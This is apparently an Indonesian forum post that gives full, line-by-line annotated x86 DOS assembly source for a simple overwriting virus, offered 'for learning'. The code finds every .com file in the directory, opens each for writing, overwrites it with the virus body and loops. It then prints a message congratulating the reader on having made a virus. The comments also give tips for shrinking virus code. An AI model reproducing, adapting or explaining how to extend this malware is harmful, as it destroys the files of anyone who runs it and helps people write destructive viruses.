Nhi ada Script Assewmbly... Buat Belajar...!!!
Hitung" nambah ilmu...!!!
draggy segment ; nama segmen (awal dari segmen),
; umumnya menggunakan code segment
assume cs:draggy,ds:draggy ; register cs dengan ds ke segment
org 100h ; daftar ke memori 100hex atau 256 bytes
; untuk mengcompile program ke format .com
TesVirus proc near ; identitas virus/prosedur
; ------------------------------------------------------------------------
mulai: ; nama label (bisa ditulis dgn nama apa saja,
; terserah anda yg penting anda mengerti)
mov ah,4eh ; move nilai 4e hex ke ah untuk general register
; ------------------------------------------------------------------------
cari_korban: ; nama label
xor cx,cx ; cx = 0 untuk general register utk set atribut
; file = normal, bisa juga dengan menggunakan
; mov cx,0 tetapi dapat membuat ukuran program
; menjadi lebih besar 3 bytes
lea dx,comsig ; L<oad> E<ffective> A<ddress> dari comsig ke dx
; atau move string ke dx untuk mencari
; spesifik file yg akan diinfeksi,
; bisa juga dengan menggunakan mov dx, offset
; comsig
int 21h ; eksekusi fungsi yang sudah di set
; untuk lebih lengkapnya, lihat tabel interrupt
jc jejakpendekar ; jc = jump if carry (jika program telah
; terinfeksi maka eksekusi rutin jejakpendekar
; (rutin untuk menampilkan pesan) jika carry
; flag = 1 tetapi bila flag = 0 maka
; jump ignore (rutin jejakpendekar tidak
; dieksekusi) dan lanjutkan ke baris berikut
; ------------------------------------------------------------------------
buka_bajunya: ; nama label
mov ax,3d02h ; asumsi program telah menemukan file yg akan
; diinfeksi maka 3d02h diload ke AX
; karena AX tipe registernya 16-bit yang isinya
; masing-masing 8 bit AH & AL maka AH=3dh & AL=02h,
; dengan kata lain 3d hex diload ke AH
; AL diload dengan 02 hex utk membuka file
; dengan mode read/write.
; note: - AL = 02h --> open the file in
; read/write mode
; - AL = 00h --> open it in read only
; - AL = 01h --> write only
mov dx,9eh ; load ASCii string ke dx untuk nama file yg
; akan diinfeksi letaknya ada di PSP di bagian
; D<ata>T<ransfer>A<rea>.
; PSP start di 00 hex,DTA start di 80 hex,
; file name ada di 1e hex di awal DTA
; jadi total offset ini : 1e+80=9e hex,
int 21h ; eksekusi
; ------------------------------------------------------------------------
perkosa_korban: ; nama label
xchg bx,ax ; di rutin sebelumnya pada saat
; file dibuka(open), komputer
; menempatkan perlakuan unik
; (unique file handle) dan disimpan
; ke dalam AX. Kita membutuhkan file handle
; itu di BX untuk fungsi write record
; jadi anda dapat menggunakan Exchange(xchg) AX
; ke BX {xchg bx,ax} atau
; bisa juga dengan menggunakan mov bx,ax tetapi
; ukuran program menjadi lebih besar 1 byte,
; [biasanya untuk pembuatan program virus, kita
; harus dapat mengoptimalkan kode program agar
; program yang dihasilkan ukurannya lebih kecil
; sehingga lebih hemat memori dan efektif.]
mov ah,40h ; load 40 hex ke AH
mov cx,offset target - offset mulai ; perintahkan komputer
; agar menghitung jarak antara
; offset mulai dengan offset target agar
; dapat diketahui berapa banyak bytes
; yg akan ditulis(write).
; jadi CX harus diload dgn jumlah bytes
; yg akan ditulis
lea dx,mulai ; load alamat mulai ke dx
int 21h ; eksekusi
; ------------------------------------------------------------------------
balikin_bajunya: ; nama label
mov ah,3eh ; setelah file telah terinfeksi maka tutup file
; korban (load 3eh ke ah) agar program virus ini
; dapat mulai mencari program lain untuk diinfeksi
int 21h ; eksekusi
mov ah,4fh ; load 4f ke AH
jmp cari_korban ; looping, lompat ke label cari_korban
; sampai ada file yang flagnya=1
; ------------------------------------------------------------------------
jejakpendekar: ; nama label
; rutin ini berguna untuk menampilkan pesan,
; juga sebagai tanda program virus telah selesai.
; jadi jika anda tidak ingin menggunakan rutin ini
; tidak apa-apa karena program virus ini masih
; dapat berjalan
mov ah,09h ; servis ke 9 untuk mencetak string
mov dx,offset pesanku ; teks yg akan didisplay pada layar harus
; diload dahulu ke dx (Data Register)
; jadi ambil alamat Offset pesanku
int 21h ; eksekusi
; ------------------------------------------------------------------------
keluar:
int 20h ; finish! kembali ke DOS.
; terminate operation tanpa menset register.
; cara lain terminate dgn menset register adalah:
; mov ax,4c00h menggunakan int 21h
; (Keterangan: 00=exit without error)
;--------------------------------------------------------------------------------
comsig db "*.com",0 ; define data = comsig, 0 = akhir string
; comsig = signature file COM
pesanku db 'semua file *.com di direktori ini sudah diinfeksi',10,13
; $ = akhir string
; 10,13 = pindah kebaris berikutnya
db 'selamat anda berhasil membuat virus :)',10,13
db 'kritik dan saran eMail ke
[You must be registered and logged in to see this link.]...',10,13
db 'thx to Horny Toad for all the lessons u teach me :)',10,13,'$'
target label near ; label didalam prosedur TesVirus yang berguna
; utk menetapkan jarak/besar program virus
TesVirus endp ; akhir procedure
draggy ends ; akhir segmen
end mulai ; akhir mulai (mulai = kode pertama yg dieksekusi
; komputer yang berada didalam segmen draggy)
:sleep: :sleep: :sleep: